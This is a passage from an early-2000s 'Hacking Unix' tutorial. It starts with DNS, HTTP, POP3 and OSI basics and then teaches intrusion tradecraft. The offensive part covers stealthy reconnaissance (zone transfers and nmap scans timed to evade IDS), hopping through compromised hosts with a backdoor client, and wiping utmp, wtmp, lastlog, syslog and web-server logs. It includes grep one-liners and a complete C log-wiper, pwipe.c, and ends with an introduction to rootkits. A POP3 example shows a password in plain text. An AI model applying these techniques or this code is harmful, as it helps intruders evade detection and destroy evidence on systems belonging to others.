A configuration file I could use with BIND 9 (nameserver) looks like this (but there are many different possibilities to create it):

```
---- /var/named/etc/named.conf ----

options {
        directory "/var/named" ;
        allow-transfer { } ;
        allow-query { 10.0.0.0/24; 127.0.0.0/24; } ;
};

zone "duho.org" in {
        type master;
        file "db.duho.org";
};

zone "87.93.39.213.in-addr.arpa" in {
        type master;
        file "db.213.93.39.87";
};

zone "0.0.127.in-addr.arpa" in {
        type master;
        file "db.127.0.0";
};

zone "." in {
        type hint;
        file "db.cache";
};
---- EOF ----

BIND doesn't come with default settings, so this why many admins configure
their DNS servers securely. You see in my config file:

----
options {
        directory "/var/named" ;
        allow-transfer { 127.0.0.0/24; } ;
        allow-query { 10.0.0.0/24; 127.0.0.0/24; } ;
};
----
```

I can only do a zone transfer from localhost (all interfaces on my local host). But nobody else can. Why I would want to secure zone transfers is explained in detail a few pages further.

The other directives in named.conf tell BIND where my zone files are. In reality the config file and the zone files are in /var/named... which means named.conf at my place is in the /var/named/var/named/ directory, but before BIND loads it gets chroot()ed... but this feature is out of the scope of this part of the tutorial, maybe some other time ;-).

The in-addr.arpa directives (as showed below) are for reverse-resolution. Which means that you can lookup an address and find the hostname. This is also why the address is in reverse order (87.93.39.213 instead of 213.93.39.87) because the domain name is also big-ending.

```
zone "87.93.39.213.in-addr.arpa" in {
        type master;
        file "db.213.93.39.87";
};
```

The root nameservers control the in-addr.arpa zone and are able to do these reverse lookups (try 'host -t ns in-addr.arpa' for looking up it's nameservers).
Now let me show you a typical zone file for duho.cjb.net:

```
---- /var/named/db.duho.cjb.net ----
$TTL 3h
duho.cjb.net. IN SOA ns.duho.org. root.duho.org. (
                1
                3h
                1h
                1w
                1h )

duho.cjb.net            IN NS   ns.duho.org.
duho.cjb.net            IN MX   0 mail.duho.cjb.net.

ns.duho.org.            IN A    213.93.39.87
www.duho.cjb.net        IN A    213.93.39.87
mail.duho.cjb.net       IN A    213.93.39.87
----

duho.cjb.net nameserver:

----
duho.cjb.net          IN NS   ns.duho.org.
----
```

'IN' means INTERNET zone, NS is the host type, and 'ns.duho.cjb.net' is it's authoritive nameserver. the address for 'ns.duho.org' is in the db.duho.org file. Where the host type is 'A' it is a non-special hostname address.

There have been found some bugs in some BIND 8 and below nameservers which are exploitable and can result in root access. There are also attacks known like DNS poisoning to try to manipulate DNS cache which results in nameservers resolving names to wrong addresses. This causes users of the DNS servers to visit the wrong sites. Hackers with bad intentions could use DNS poisoning to set-up a fake hotmail site for example to trick users into sending passwords to them.

But generally I think BIND is pretty secure after all, and BIND development with respect to security is progressing. BIND 9 can use digital signatures with TSIG among other things to make it hard to poison DNS traffic. Zone transfers are explained in one of the last chapters of this paper.

### 2.4.6 HTTP - Hyper Text Transfer Protocol

The most important application protocol on the internet must be HTTP.  Users of HTTP have a user agent called a webbrowser like netscape. To visit a website the user points the webbrowser to the host and optionally the absolute path identifier on the target host. Combining the path and the host the user forms an URL (Universal Resource Location). The webbrowser can sent the absolute URL to a proxy or it can connect o the host on port 80 (if no port is defined in the URL) and issue the REQUEST. If no absolute path is given the webbrowser assumes the path is / (DocumentRoot). A typical request would look like this:

```
GET / HTTP/1.0
```

GET is the request method.
/ is the absolute path (/index.html would work most of the time too)
HTTP/1.0 is HTTP protocol version 1.0.. we have 0.9 (simple request) and
HTTP/1.1 and others. I haven't studied the HTTP/1.0 specification.
HTTP uses MIME-style headers to indicate character set, encoding

types, media types, user agent information, HTTP version, server information, date and time and status code.

You can imagine that if you request the download for a html page your browser wants to know how to handle it. Well, when the request has been performed the HTTP server returns the page along with the HTTP header. The header gives the status code, the HTTP server version, and the content type (and probably some more). The content type for a html page is html/text. Look at this header:

```
-----
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:21:56 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Connection: close
Content-Type: text/html

<BODY>
-----
```

You see, I forgot the connection type and date.
However when I download a tarred and gzipped file from my server, the header looks like this:

```
-----
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:24:25 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Last-Modified: Fri, 28 Sep 2001 08:32:47 GMT
ETag: "363d3-267b-3bb435af"
Accept-Ranges: bytes
Content-Length: 9851
Connection: close
Content-Type: application/x-tar
Content-Encoding: x-gzip
-----
```

I think anything that are not images or HTML files are treated as binary and would trigger your browser to start a download process.

The server name is particularly interesting to us of course. But I also want to explain the error codes and then I will explain some other HTTP methods and use netcat or telnet as user agent.

Status codes starting with:

```
1xx : Informational
2xx : Successful
3xx : Redirection
4xx : Client error
5xx : Server error
```

For more information see RFC 1945.

Other methods but GET are POST and HEAD and PUT.
The HEAD command retrieves only the header of the HTTP server:

```
HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:30:41 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Connection: close
Content-Type: text/html
```

We will get to the POST method later in this tutorial. Let's do a simple HTTP request using telnet or netcat:

```
-----
bash# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 02 Oct 2001 10:32:52 GMT
Server: Apache/1.3.20 (Unix) PHP/4.0.5
Connection: close
Content-Type: text/html

<html>
 <head>
 <title>DuHo</title>
 </head>
 <body bgcolor="#ffffff">

<P><U>Welcome to the DuHo webserver</U></P>
<P>DuHo Information Team maintains projects dealing with hacking, cracking
and other computing issues.<br>The projects result in papers, program
sources and tutorials which are publicly released on these pages.
<P>
<P>We have updated or released our latest file on <b><a
href="pub/projects/NBCODE/">Monday 01 October 2001</a></b></P>

 </body>
</html>
Connection closed by foreign host.
bash#
-----
```

You see, this was easy! For downloading a binary file however, you should use netcat instead of telnet or the content will be screwed up. Requesting a page via a proxy, you just need to connect to the proxy and type the full URL instead of the absolute path like this:

GET http://duho.cjb.net/ HTTP/1.0

### 2.4.7 POP3 - Post Office Protocol version 3

POP3 is a popular service for retrieving mail. Just like most other protocols I have discussed, we can use a simple full-duplex connection and issue commands ourselves. Once again it is very important to understand the application protocols.

This time I'm just gonna show you one example, that should be enough to get started.

```
-----
bash-2.05# telnet pop.chello.nl 110
Trying 213.46.243.2...
Connected to mail.chello.nl.
Escape character is '^]'.
+OK InterMail POP3 server ready.
USER mylogin
+OK please send PASS command
PASS YImK5sh;W5
+OK mylogin is welcome here
```

```
LIST
+OK 1159 messages
1 3309
2 3985
3 4625
4 1744
5 31202
6 1743
7 1762
8 11318
9 1744
~thousands more spam messages
1159 1009
.
RETR 1159
+OK 1009 octets
Return-Path: <>
From: admin
Subject: ATTENTION: Bounced Message Notification, Total Bytes!!
Date: Wed, 19 Sep 2001 22:15:47 +0200
Message-ID: <169943-2001-0919-221547-29195@amsmss12.chello.nl>
```

A message was sent to you that was returned to the sender(bounced) because it would have caused your mailbox quota to be exceeded. The following is the reason that the message was over quota:

```
       Quota Type: Total Bytes
  Quota Available: 0
      Total Quota: 10485760
```

The following is the information on the message that was bounced:

```
      Sender: <cypherpunks-errors@toad.com>
     Subject: [No Subject]
        Size: 4692
  Message ID: <6717458.1000924503125.JavaMail.tester@hvwww8>
        Date: Wed Sep 19 22:15:20 2001

    Reply-To: [No Reply-To]

To fix this problem, delete some messages from your mailbox, and contact the sender to resend the message.
If the size of the message is too big, contact the sender to reduce the size of the message and resend the message.
-----
```

I don't use this mailbox coz it is overspammed as you see. I never published this email address anywhere, and none of my friends or enemy's even know about it.. so ask my ISP about selling their own email addresses to spammers :).

Another important command for POP3 would be DELE:

```
DELE <message number>
```

if I wanted to remove the message I just read in my mailbox:

```
-----
DELE 1159
+OK
```

```
-----
```

The usage of the POP3 protocol can be looked up using the HELP command once you connect to the POP3 server of choice (TCP port 110).

## 2.5. OSI (network protocols - a deeper cut)

Now I told you about network-, transport- and application protocols. To put it all together, here is the OSI Model:

```
|--------------------------------
| Application Layer             |
|--------------------------------
| Presentation Layer            |
|--------------------------------
| Session Layer)                |
|--------------------------------
| Transport Layer               |
|--------------------------------
| Network Layer                 |
|--------------------------------
| Data-Link Layer               |
|--------------------------------
| Physical Layer                |
|--------------------------------
```

### 2.5.1 The Application Layer

The application layer is the layer where two applications can talk with each other in their protocol standard without having to know how the lower layers have build the communication.

### 2.5.2 The Presentation Layer

The presentation layer interprets several data formats. These formats are used for purposes like data compression, data encoding or encryption layer etcetera. You should recognize this layer is being used in some of the well-known application protocols (with the application service depending on it) for communication.

### 2.5.3 Session layer

The session layer has specific session tasks during a connection with another computer. The tasks are dependent on the application of course. These tasks may be; download resume function or login process etcetera.

### 2.5.4 Transport layer

The primary task of the transfer layer is to make sure the packets can travel through all networks, independent of the maximum size of packets allowed on particular networks and that a packet is rebuilt correctly at the destination. Some networks may have a MTU (Maximum Transmission Unit) of 1500 where others have lower or higher capacities. Packets are numbered so that they can be reconstructed at the end in the correct sequence (you will hear about sequence numbers a lot more so be aware).

*{*

> *For example; if you have to deliver 3 packets (1,2,3) and you sent them to a destination, there is no guarantee that the packets will arrive in the '1,2,3' sequence.. so packets are numbered so they can be reconstructed on the destination.*

*}*

There are more details involved depending on the type of transfer protocol used (TCP or UDP or others?).

### 2.5.5 The Network layer

The network layer supports the transport layer. Packets that are constructed by the transport layer are routed on the network by the network layer. The network layer is the mail delivery guy of the packets.

*{*
*The transfer layer of the receiving site knows how many packets to expect.*
*If a certain packet is still not there after a timeout it will ask the sender to send that packet again.*
*}*

### 2.5.6 Data-Link layer

The data-link layer is often built into the networking hardware device. It is responsible for reliable communication on the physical network layer.

*{*
*(Physical network layers, just like the Network Layer, have no idea what they are sending. They just do... So we need a higher level layer to keep track of the information itself...)*
*}*

The layer has to deal with physical addressing, error messages on the network, sequence of dataframes and regulating the stream of data (flow control).

The data-link layer can be split into sublayers; MAC (Media Access Control) and LLC (Logical Link Layer). MAC manages protocol access to the physical layer. LLC provides the Network Layer two modes: The connection-oriented and the connectionless mode. The connection-oriented mode offers a more reliable connection.

### 2.5.7 The Physical layer

The physical layer involves physical aspects (typical to the hardware used)  like voltages, voltage changes, speeds, maximum transmission distances, connectors and anything involving that particular kind of network.

*{*
*Ethernet, IEEE 802.3, 100BaseT are examples of such a physical layer.*
*}*

## 2.6. Back to system profiling

Now that you should have a basic understanding on networking on the internet, I'll get back on system profiling.

### 2.6.1 The importance of system profiling

We can simply try to find which services are running, and have a fast idea of how to exploit it of course. But in these days many admins run firewalls and IDS which try to detect people that 'brute force' the search for vulnerabilities.

*{*
*For example, there are vulnerability scanners around, these scanners check for known vulnerabilities in CGI scripts, known exploits etc.*
*}*

Such tools should not be used by crackers or hackers (whatever you want to call it). They are used by admins to check their security. Using such tools will not help much. They will scan your target without requiring a user to know how it scans. Especially IDSs will detect such an attack immediately. Sometimes triggering a ban on your host so you won't have a chance anymore. Using such tools is script kiddy behavior. It is the same as

In this chapter I will come up with some examples which hopefully give you an idea of how to approach your target. You should understand that possibilities are endless. Any information about the target, it's users, its admins are useful to profile a system. After you have an idea of what you are dealing with you will be able to set up a discrete and hopefully undetected attack in a later stage.

### 2.6.2 "Planning"

Here's what I think the most general sequence of steps to system profiling:

- Available Information
- Information retrieval
- Identifying possible weaknesses

This is the most general planning I can come up with.

#### 2.6.2.1 Available Information

For finding public information I think these are the steps to take:

- Find information.
- Write down all interesting points
- Track down every point
- Start over

To clear this up, here's an EXAMPLE:

*{*

*- I found a website I want to hack.*
*- I dig through the whole website and write down any interesting information*
*- One of the things I found was the webmasters mail address. I found it by simply typing in a non-existing page and it said: The request page was not found on this server. If you think this was due to a deadlink on this site please make a report: webmaster@corporation.com*

*{*

*Ahah, I could have guessed this email address myself too*

*}*

*- After I wrote down every interesting point of information available on their website I begin to dig some more information on this website.*
*- I search for the email address on several websites and wrote down everything that seemed important*
*- The most important thing I found was his homepage where he said 'To all my friends: my email address 'john-the-ripper@university.edu' has changed because I have a job at 'Company', the new one is: 'admin@company.com'.*
*- Hèhè, I write down all interesting points he made on his homepage*
*- I search for the john-the-ripper@university.edu and a CV (Curriculum Vitae)*
*- I found his curriculum vitae and it says he has experience with Linux and PHP/MySQL and he is a good database administrator.*

*}*

That's a nice example of one entry in the system profiling stage. Use your imagination and seek any information you can get! An excellent site on become a master information seeker is +fravia's searchlores sites (lot's of interesting essays): http://www.searchlores.org/

#### 2.6.2.2 Active Server-oriented Information probing

The publicly available information that you have found helps you to choose the right ways to acquire more information on the server, avoiding probes that are irrelevant which might trigger alarms.

*{*

*Though the knowledge of the former step is more convenient during the actual attack stage. You have found a lot publicly available information that you could not have found during the server probes in this stage.*

*}*

In this stage we're going to visit some services that might exist on the remote server.

2.6.2.2.1 PING

First we want to know if there is a firewall in place. What I have experienced is that a lot of firewalled hosts block ICMP packets.

*{*

*ICMP (Internet Control Message Protocol) is often used to test for network problems. One feature of ICMP is the ICMP ECHO REQUEST, or a more popular word; ping. When you sent an ICMP ECHO REQUEST to a server that doesn't block ICMP packets, the host (if existent) will reply with the ICMP ECHO*
*REPLY.*

*}*

Because a PING will never be seen as an attack probe, we can start to send a PING to the target server (if we are definitely sure it is online). If the system does not respond then it has a firewall in place. It is very likely that any scan probes are logged too. We now know we should be very careful in scanning the target.

*{*

*NOTE:  Don't think there cannot be a firewall there if ping is not              blocked!*

*}*

The next thing we could do is lookup the hostname(s)... a host can have several names, and names always contain information.

*{*

*Hostnames are aliases for IP addresses to make it easier for users to remember them. In practice you will see the difference between administratively chosen names and publicly chosen names.*

*For example, my IP address is 213.93.39.87. My ISP, (Internet Service Provider) Chello Broadband has given this IP address a name for administrative purposes; e39087.upc-e.chello.nl. A quick guess; I think e is the B network class I'm located in, 39087 is the exact IP (39.87) I am within the class B network. upc-e says that I'm in the 213.93 area              again, and chello.nl speaks for itself. Maybe they run network management software for these cable modems that makes this kind of addressing important?*
*I publicly chosen my 'duho.cjb.net' hostname so that it is easy to remember.*

*}*

If you don't understand the hostname code (the administrative one) you might understand it when you have a list of hostnames that are existent in that domain.

2.6.2.2.2 DNS & Zone Transfers

We can try to do a DNS zone transfer, which will be better than to scan for hosts that are online (grab an IP range and do a lookup for all of them).

*{*

*DNS is the global internet database that exists of millions of nameservers (Nameservers all have a database with hostnames associated to their IP address). Nameservers are 'queried' through their service on TCP port address 53.*

*}*

We can do this with the program 'host' in Linux or Unix:

```
host -t ns company.be
```

*{*

*-t = type*
*ns = type: NameServer*
*company.be = the domain where we want the nameserver address from*

*}*

Now you will get something like this as output:

```
company.be name server ns01.company.be
company.be name server ns02.company.be
company.be name server ns1.telekabel.be
```

I see the telekabel thing.... I think it's best to query that one first. The reason is that it might avoid that our query is logged at company.be itself, which might be more suspicious about such things.

*{*

*NOTE ALSO that not all nameservers allow zone transfers for security reasons!*

*}*

So do this at every single nameserver until one allows you to do a DNS zonetransfer:

```
# host -l company.be ns1.telekabel.be
```

*{*

*-l = list (zone transfer)*
*company.be = the domain we want the listing of*
*ns1.telekabel.be = one of company.be's primary nameservers*

*}*

```
Using domain server:
Name: ns1.telekabel.be Address:
100.100.100.100
Aliases:

Server failed: Query refused

> This server won't allow us to do a DNS zone transfer :(

# host -l company.be ns01.company.be  // (trying the next nameserver
Using domain server:
Name: ns01.company.be
Address: 123.123.123.123
Aliases:

Server failed: Query refused

> Damn, another one secured

# host -l company.be ns02.company.be
Using domain server:
Name ns02.company.be
Address: 123.123.123.124
Aliases:

cache.company.be has address 123.123.100.12
games.company.be has address 123.123.132.23
```

```
www.company.be has address 123.123.100.2
office.company.be has address 123.123.123.231
router1.company.be has address 123.123.100.1
ftp.company.be has address 123.123.100.2
~etc.
```

BINGO! DNS zone transfer allowed :)).
To try more verbose entry's use -v with it and if you're lucky you might get even more information by adding the '-t any' option. Like this:

```
# host -l -v -t any company.be <nameserver>
```

Be careful with zone transfers, they might look suspicious. But when zone transfers are enabled this says a lot about the (stupid) admins perhaps?

2.6.2.2.3 WHOIS

The next thing is to gather information on the domain using whois:

```
whois company.be
```

There you will retrieve information about the organization and the admins.

2.6.2.2.4 Scanning Services

To find out which services are running we can just start to scan the system in default mode. But this is not a very stealth way. If you found out that the system filters ICMP then we are almost certain that the system has a firewall. But it is also possible that the ISP or any router between you and the victim is blocking ICMP (maybe to stand up against some Denial of Service types like pingflood).

If the system has a firewall we must be very, very careful with scanning the service. With all the information you have found so far, you can possibly guess what kind of operating system it is and what services it is likely to deliver. So we scan only the ports that we think might be open. But we don't scan for services like TELNET or SSH or another remote login.

Example:

I have done some little research on company.be's mailserver and I found out that it's IP address has three hostnames: mail.company.be, ftp.company.be and www.company.be.

*{*
*Meaning that it is likely that one computer is used for mail, ftp and http, not very clever...*
*}*

I'm going to check this information which suggests that the host has ports 25,110(or 143),80 open to the world. I found out that the admin's expertise was MySQL/PHP/Apache/Linux.

*{*
*Sometimes the webserver reveals if MySQL and PHP are installed. Just retrieve the HTTP header and sometimes the webserver will tell you if PHP and/or MySQL are supported. (sometimes the banner just reveals the operating system too!) => see chapter 4.6 for this method*
*}*

So possibly port 3306 (MySQL) is opened too. If it is filtered and the rest is closed, it seems like they purposely filtered this port which may mean that MySQL is only accessible to certain hosts. Though maybe MySQL isn't that interesting, because even when it is open, it is unlikely (at least in the newer versions) that it will accept a connection from your host. You will get an error like:

```
# telnet x.x.x.x 3306
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
Host 'x.x.x.x' is not allowed to connect to this MySQL serverConnection closed by foreign host.
bash#
```

MySQL has an ACL, and my host is configured to only allow connections from localhost.

*{*
*Note that a firewall can DROP connections (filter) or BLOCK connections. When a firewall BLOCKs connections, it is hard to find out that a firewall is blocking the port or that the port is simply not in use.*
*}*

I conclude that I want to scan ports 21,25,80,110,3306 I have two choices for scans:

1. A full connect to each port with a long interval between each port.
2. A half-open or NULL-FIN-X-Mas scan with a long interval between each port.

Advantages & Disadvantages of the methods:

1. A full connect definitely makes a log entry. But, because I am visiting just 5 ports and the visit intervals for each port are high, the firewall or IDS will not see that I'm scanning the port, because I'm not using 'illegal' probes and the admin will not suspect anything because I scan for services that are publicly accessible. So you should not –in the case of using a full-connect-scan- scan for ports like SSH and TELNET.

Full connect scan is done like this in Nmap (with large interval):

```
# nmap -sT -T Polite -p21,25,80,110,3306 www.company.be
```

*{*
*-sT = TCP Connect() scan*
*-T = has to do with timing intervals between probes*
*-p = custom ports to scan (notation: n-n (range) n,n (list))*
*www.company.be = target*
*}*

2. A half-open or NULL-FIN-X-Mas scan with long interval between each port.

You should be very careful with this if the host runs a firewall or IDS. When there is no firewall it is the best method because it won't show up in the normal logs (e.g. /var/log/messages ..).
Full-connect method is the best if there IS a firewall in place, it will give the most accurate results.

*{*
*Though remember: only scan for ports which like FTP and HTTP which will not make the admin suspicious, but always make the interval something like '-T polite', so that the admin doesn't see connections to 3 services in a short time.*
*}*

The NULL, FIN and X-Mas portscans give back wrong results when scanning filtered ports (filtered ports will be marked as OPEN). Half-open (SYN) are easily detected if there is a firewall which does logging of suspicious network activity, or an IDS.

The Half-open, NULL, FIN and X-Mas techniques are all based on illegal packets or illegal connections, and that's why you should be very polite to the target when using them.
*{*
*With illegal-connections I mean that the constructed packets are not according to the standard. Sometimes using techniques with illegal packets may even allow you to scan through the firewall, but you can never be sure.*

*}*

Half-open scan example:

```
# nmap -sS -T Polite -p 21,25,80,110,3306 www.company.be
```

*{*

*-sS = SYN scan (doesn't complete a connection)*
*-T Polite = Use a pretty large interval between connections*

*}*

Others:

```
# nmap -sN -T Polite -p 21,25,80,110,3306 www.company.be
{      NULLscan      }
# nmap -sF -T Polite -p 21,25,80,110,3306 www.company.be
{      FINscan              }
# nmap -sX -T Polite -p 21,25,80,110,3306 www.company.be
{      X-Mas scan    }
```

If you want a very large interval use '-T Sneaky' or worse '-T Paranoid'.
See manpage for more info on Nmap. Or if you are Dutch;
http://duho.cjb.net/pub/hacking/NmapGids2.html for my Nmap Guide in Dutch language.

# - HACKING UNIX -
# CHAPTER THREE:

# After the Break-in

## 3.1. Introduction

You have been up all Sunday night, hacking this computer. Your wrists hurt (you probably have some kind of Repetitive Strain Injury). But you won't give up, yet you hit some more keys on the keyboard. You hear your hard disk copying another program file into memory, the LEDs on your modem light up. You don't know what this program does exactly... all you know it is somehow attacking your victim. While you're waiting, you light up another cigarette. At THAT moment your monitor prints a hopeful message:

```
sh# _
```

You get this weird feeling in your stomach. It feels great, but at the same time you're scared! You remember you read that things get logged, and that hackers' remove their traces and make sure they can get back in. But HOW?????

Don't worry kid, just follow me.

## 3.2. Hiding your source location

Okay, say you really got into that system, and you forgot to remove a few (or all ;^)) traces of your visit. If the sysadmin finds you in the logs, or through regular programs... you are nailed. Your inet address will probably show up, and you'll be busted.

*{*

*Though not many sysadmins check logs all day, believe me. But, you got to be paranoid, and *at least* make sure there is no chance of detection through regular means.*

*}*

But because you cannot always be sure you can manipulate logs (e.g. when they use a separated logging server) and they might have some additional security tools that you aren't aware of, you got to make it really hard for them to actually trace you back to your real home.

This can be done in various methods; wingates, dialups from tapped phone-lines, internet cafes or connections from other shells you hacked.

### 3.2.1 Hopping the Internet

Connecting through hacked shells is like hopping through various hosts on the net before connecting to the victim.

*{*

*Warning: Even though your real source is hard to trace, remember it's not the same as 'untraceable', so do a good job at removing your traces every time: stay paranoid!*

*}*

You need your toolbox on these shells you have access to, so you can attack from there. For example:

```
------------ sample ------------
bash# ./backdoor-client owned.box.net 54232_
Password: t4Ab0$-aa
Have a nice time!
sh# cd '.. '_
sh# ls_
wu260.c               clear.tgz
nmap.tgz       rootkit.tgz
nc.tgz         bsd-lkm.tgz
libnet.tgz     Linux-lkm.tgz
pwipe.c
sh# _
------------ ~etcetera ------------
```

If you have the tools you need on an owned box, you can do all the work from there.

*{*

*Note: It's best to have your complete toolbox (exploits etc.) on the box you are about to use to attack from *before* you attack another system because this saves lots of time uploading stuff you're going to need.*

*}*

## 3.3. Wiping the logs

Most machines you access and play with log many things. If you don't wipe these traces, the admin will understand the system might be hacked and may investigate further. The admin might be paranoid and reinstall the box more secure so you lose access, or even the admin might do anything he can to trace you back, including a call to the FBI!

If you are a little bit smart, you will remove traces you left immediately after you got root and you install backdoors that bypass logging for future access.

What NOT to do: Don't *delete* log files, most admins will find out.
You should also *only* remove the entries that record *your* activities on the system.

### 3.3.1 How to find them

Most *nix systems have a file called /etc/syslog.conf. Read it, it looks something like this:

```
----------
auth,authpriv.* -/var/log/auth.log
*.*;auth,authpriv.none -/var/log/sys.log
daemon.* -/var/log/daemon.log
kern.* -/var/log/kern.log
mail.* -/var/log/mail.log
user.* -/var/log/user.log
*.emerg *
----------
```

Here you find the logs that are kept by syslog. That is; processes that use the syslog daemon to log events.

*{*

*Please note that I'm saying that this goes for the processes that log through syslog daemon *ONLY**

*}*

They might also log themselves without using syslog, e.g. in case syslogs' file format doesn't work for them.

For example, HTTP requests on Apache servers don't get logged through syslog. And when you accessed the system through a CGI bug, these traces are not removed when you only cleaned syslogs' logs. Therefore you remove entries from access_log like it's done with this quick&dirty command:

```
----------
# grep -v '<src-IP-address>' /path/to/access_log > a && mv a /path/to/access_log
----------
```

or you could use my plaintext logwiper found in *chapter 3.8.*

But, there are a few special logfiles, and these are (e)special(ly) dangerous ;^) (PHEAR!); utmp, wtmp and lastlog... and because of that I have given each of them a separate paragraph.

## 3.3.2 UTMP

You can see yourself in utmp, using:

```
----------
# who
root    tty1    Jan 25 19:30
root    tty2    Jan 25 19:31
root    tty3    Jan 25 20:26
#
----------
```

We *need* to use a command like 'who' to extract output from the utmp file. That is; it's not a plaintext file, it's binary and you cannot edit it with your plaintext editor (PHEAR MORE!). You need a special logwiper for that one, and we're going to use my favorite logwiper for this job because I'm the one that's writing and you're not.
Let me introduce; 'clear', written by van Hauser [thc].

Clear will be utilized in paragraph 3.5, but first a little more background on the UTMP file, why it exists.
utmp contains the currently active (logged-in) users. Some programs use this file to lookup these users, and find more info about them. Some programs that depend on the utmp file are 'who', 'w' and they are used frequently. 'w' gives long output; like the source IP address, user idle time, cpu usage, what program he is currently running... etc.

## 3.3.3 WTMP

wtmp keeps all logins and logouts, in almost the same fileformat as utmp. The command 'last' uses the wtmp file to see which user logged in when, which tty he used, and from where he was connected It looks like this:

```
----------
# last
root            tty2                      Thu Jan 31 09:09   still logged in
root            tty1                      Thu Jan 31 08:49   still logged in
runlevel        ~        2.4.16           Thu Jan 31 08:49
reboot          ~        2.4.16           Thu Jan 31 08:49
shutdown        ~~       2.4.16           Thu Jan 31 08:32 - crash  (00:16)
runlevel        ~        2.4.16           Thu Jan 31 08:32
root            tty1                      Thu Jan 31 08:32 - 08:32  (00:00)
root            tty1                      Wed Jan 30 09:56 - 10:16  (00:19)
~etc.

wtmp begins Fri Nov 23 21:00:16 2001
# _
----------
```

The difference between utmp and wtmp file format is that wtmp includes the '~' and '~~' which indicate shutdown or reboot respectively.

### 3.3.4 LASTLOG

'lastlog' contains records containing information about the last time users logged in. A sysadmin might use this command to see for which users shell access can be safely disabled.

```
----------
# lastlog_
Username         Port     From             Latest
root             tty2                      Thu Jan 31 09:09:12 +0100 2002
bin                                        **Never logged in**
daemon                                     **Never logged in**
sync                                       **Never logged in**
shutdown                                   **Never logged in**
halt                                       **Never logged in**
mail                                       **Never logged in**
nobody                                     **Never logged in**
named                                      **Never logged in**
l.torvalds            pts/3                Sun Jan  6 21:48:35 +0100 2002
b.gates                                    **Never logged in**
a.cox                 pts/5                Sat Jan  2 09:05:01 +0100 2002
r.stallman            pts/1                Tue Dec 17 14:52:43 +0100 2001
# _
----------
```

All this information is extracted from the lastlog file.

### 3.3.5 Using logwipers

Okay, it's obvious that you need to remove the traces from the utmp, wtmp, lastlog, utmpx, wtmpx etc. logfiles that may exist on *nix systems.

There are log-wiper tools available like cloak, zap and clear.
We will use clear for the job, because it is hard to detect a logfile was manipulated when it is used.

So download clear13.tgz, it is here:
http://www.thehackerschoice.com/releases/thc-uht1.tgz.
This package contains clear13.tgz among other quite good Unix hacking tools.

Clear 1.3 consists of two programs, one for removing only the last entry of the user and one for removing all appearances of the user. Set the right path to wtmp, utmp, lastlog, wtmpx, utmpx or those that exist by editing the #define's in the sources. Using /etc/syslog.conf you can probably find out where they are.

### 3.3.6 Other logs

If you have read syslog.conf carefully, you noticed that there are more logs than wtmp, utmp etc. These other logfiles are most likely plain text, and their records separated by newlines. They also have to be manipulated, as they may also contain traces of your activity.

You also have to remove traces from webserver logs, ftpd xfer logs, sendmail logs etc, etc.
*{*
*Warning (once again): *NOT ALL LOGS ARE MAINTAINED BY SYSLOGD* So find them!*
*}*

### 3.3.7 Wiping the plaintext logs

I've written a plain-text logwiper, because I felt like it. It works pretty much like:

```
# grep -v <entry-to-remove> <logfile> > /tmp/a ; mv /tmp/a <logfile> ; rm -f /tmp/a
```

The <entry-to-remove> might be your IP-address, in that case... all entries containing your logged IP-address are removed.

My tool works like this:

```
-------------------
Compile:
# gcc -o pwipe pwipe.c

Syntax:
# ./pwipe <pattern> <logfile>

e.g.:
# ./pwipe '10.0.0.1' /var/log/httpd/access_log
-------------------
```

It removes the lines from <logfile> which contain <pattern> (Yeah I know
it's simple).

That's all.

```
--- start-of pwipe.c ---
/*
 * Plaintext Log Wipe v1
 * 02-08-2002 XT [DuHo] [MM-DD-YYYY]
 *
 * Removes lines containing <pattern> from <logfile>.
 * Useful for removing IP-addresses from logfiles for example
 *
 * Usage:
 * gcc -o pwipe pwipe.c
 * ./pwipe <pattern> <logfile>
 *
 * ex.
 * # ./pwipe '192.168.1.231' /usr/adm/messages
 *
 * I, nor DUHO is responsible for any damage you might bring to a system
 * using this tool!
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
   FILE *fp;
   long fsize;
   long I;
   char *src;
   char *dest;
   char version[] = "Plaintext Log Wiper v1.0 by XT [DuHo]";
```

```
printf("%s\n\n", version);

if (argc<3)
 {
   printf("Syntax: %s <pattern> <logfile>\n", argv[0]);
   exit(0);
 }

// open file read-only
if ((fp = fopen(argv[2], "r"))==NULL)
 {
   fprintf(stderr, "Unable to open %s\n", argv[2]);
   exit(1);
 }

// Is there any more direct way to determine filesize?
fseek(fp, 0L, SEEK_END);
 if ((fsize = ftell(fp))<1)
  {
    fprintf(stderr, "%s is empty or an error occurred\n", argv[2]);
    exit(1);
  } else
       rewind(fp);

 // allocate enough memory
 src = (char *) malloc((size_t)fsize);
 dest = (char *) malloc((size_t)fsize);

// select lines to remove
for (I=0;(fgets(src, fsize, fp))!=NULL;)
 {
    if ((strstr(src, argv[1]))==NULL)
     {
       strncat(dest, src, (size_t)fsize);
     } else
        {
          printf("Selected: %s", src);
          ++I;
        }
 }

// reopen file write-only
if ((fp = freopen(argv[2], "w", fp))==NULL)
 {
   fprintf(stderr, "\nUnable to open file %s for writing\n", argv[2]);
   exit(1);
 }

// write new logfile to disk
if (fputs(dest, fp)<0)
 {
   fprintf(stderr, "\nUnable to overwrite file %s\n", argv[2]);
   exit(1);
 } else if (I>0)
      printf("\nSuccesfully removed %d %s!\n", I, I==1 ? "log-entry" : "log-entries");
   else
      printf("\"%s\" not found in %s\n", argv[1], argv[2]);
   fclose(fp);
   exit(0);
}
--- eof ---
```

## 3.4. Installing rootkits

Rootkits are used to circumvent logging, hide processes, create backdoors, hide files and directories.
When a rootkit system is installed correctly, the attacker is completely invisible for sysadmins through regular tools.

### 4.2 Trojaned binaries

The most common kind of rootkit trojans binaries. Original programs like ls, find, ifconfig, ps, top, netstat, etcetera are replaced with trojaned ones. These trojaned versions hide specific information.
In case of 'ls' and 'find' it will hide certain files or directories
*{*
*which is used for example to hide the directory containing the attackers' toolbox and gathered information (login credentials etc.)*
*}*

In case of ifconfig it will hide the PROMISC flag for a network interface in case a sniffer runs.*(I'll get back on this)

